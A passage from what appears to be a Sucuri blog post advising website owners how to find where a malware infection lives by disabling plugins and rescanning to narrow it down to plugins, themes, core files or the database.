This will kill all your plugins rendering them useless to your website. The point of doing this is to see if the infection is tied to the plugins. If it is, you’ll see that the live scanners will show clean when you rescan. If this is the case, another very good trick is to narrow down the infection further by disabling one plugin at a time.

Yes, this works and it’s very easy to do for novices.

Note: No, renaming is not going to hurt your site. When you remove the name and reset to its default the site will be fully functional again.

If you disable plugins and the infection is still present then you know it’s one of the following: core files, themes files, or database. If you followed the steps in section 2 then you know it’s in either the themes or the database.

---

This post is not meant to be a technical overview of how to remove website malware, instead it’s meant to help you diagnose the location of infections which in turn help you locate and remove the infection. It’s fundamentally a different approach, but it’s intended to be so. Believe it or not, the most novice of users would be able to use these techniques to quickly narrow down infections.

If you have any questions please contact us at info@sucuri.net.

]]>